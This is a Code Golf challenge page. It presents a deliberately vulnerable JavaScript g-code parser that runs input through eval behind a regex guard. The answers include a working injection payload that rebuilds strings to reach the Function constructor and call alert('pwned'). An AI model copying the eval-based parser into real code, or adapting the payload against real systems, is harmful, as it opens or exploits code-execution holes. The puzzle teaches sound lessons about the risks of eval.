Hack g-code.js parser

7

2

Here you can see g-code parser, written in JavaScript to use in microcontroller (like espruino). But you can run it in browser, because it don't use any specific features.

function gcode(str){
  //Removes comment, parses command name and args
  const [,f,args] = (str.match(/^([GM]\d+) ([^;]+)/) || [,"",""]);
  //A1.2 B43 C -> {A: 1.2, B: 42, C: 0}
  eval(f+"({"+args.replace(/(\w)([\d\.]*)/g,"$1: $2+0,")+"})");
}
const G1 = console.log;
gcode(prompt("crackme"));

When you pass G1 X3 Y4.53 Z42 to gcode(), it runs G1({X: 3, Y: 4.53, Z: 42}). As you can see, it uses eval, protected by regexp. But despite of this, you can attack this function and cause remote code execution. Your goal is to run alert("pwned"). This is code golf, so shortest working input wins

example

Евгений Новиков

Posted 2018-10-29T05:28:53.123

Reputation: 987

Is alert`pwned` fine? – l4m2 – 2018-10-29T11:22:36.207

2I suggest editing the post to say [[your goal is to display a dialog box with the text "pwned", as if alert("pwned") was run]]. – user202729 – 2018-10-29T14:39:18.573

@l4m2 if it opens box with "pwned" – Евгений Новиков – 2018-10-29T19:01:27.053

Answers

7

112 bytes

G1 $:(ƒ=(Τ,$=+[])=>Τ[$]?Τ[$]+ƒ(Τ,++$+'5'[+[]]*(Τ[$]==':')):'')[ƒ('constructor')](ƒ('alert("pwned")'))()

function gcode(str){
  //Removes comment, parses command name and args
  const [,f,args] = (str.match(/^([GM]\d+) ([^;]+)/) || [,"",""]);
  //A1.2 B43 C -> {A: 1.2, B: 42, C: 0}
  eval(f+"({"+args.replace(/(\w)([\d\.]*)/g,"$1: $2+0,")+"})");
}
const G1 = console.log;

payload = `G1 $:(ƒ=(Τ,$=+[])=>Τ[$]?Τ[$]+ƒ(Τ,++$+'5'[+[]]*(Τ[$]==':')):'')[ƒ('constructor')](ƒ('alert("pwned")'))()`;
gcode(payload);

  • Each ƒ (U+0192), Τ (U+03A4) cost 2 bytes, they are not as same as ASCII f, T.

The gcode function will keep any /\W/ characters as is. So, we just need to use these characters to write some logic here. The idea is basically based on how JSF**k works. We construct the codes like this:

(()=>{})["constructor"]('alert("pwned")')

We need string literal "constructor" and alert("pwned"). But gcode convert "constructor" to "c: +0,o: +0,n: +0,....r: +0". So we need to convert the string back. We use this function to do the convert:

ƒ=(Τ,$=+[])=>Τ[$]?Τ[$]+ƒ(Τ,++$+'5'[+[]]*(Τ[$]==':')):''

Τ is the text inputed, $ is index. We first initialize $ to 0 using +[]. Then we output the character at the index position, and check if next character is ":", if so we skip the following 5 characters.


Thanks to l4m2, saves few bytes.

tsh

Posted 2018-10-29T05:28:53.123

Reputation: 13 072

Use $=>$ instead? – l4m2 – 2018-10-29T08:30:14.770

+'5'[+[]]? – l4m2 – 2018-10-29T08:52:42.307

@l4m2 +'5' will convert to string which is incorrect. – tsh – 2018-10-29T09:00:58.733

I was thinking -~-~-~-~-~$ instead of $-~'4'[+[]] but it turns out to be the same length. – Neil – 2018-10-29T09:11:18.393

@Neil changed to ++$+'5'[+[]]*(ß[$]==':') anyway – tsh – 2018-10-29T09:16:11.900

Amazing! I used jsfuck to convert alert("pwned) to about 6K symbols from ()[]+! subset – Евгений Новиков – 2018-10-29T09:27:06.770

how it works? It looks like magic – Евгений Новиков – 2018-10-29T09:35:07.277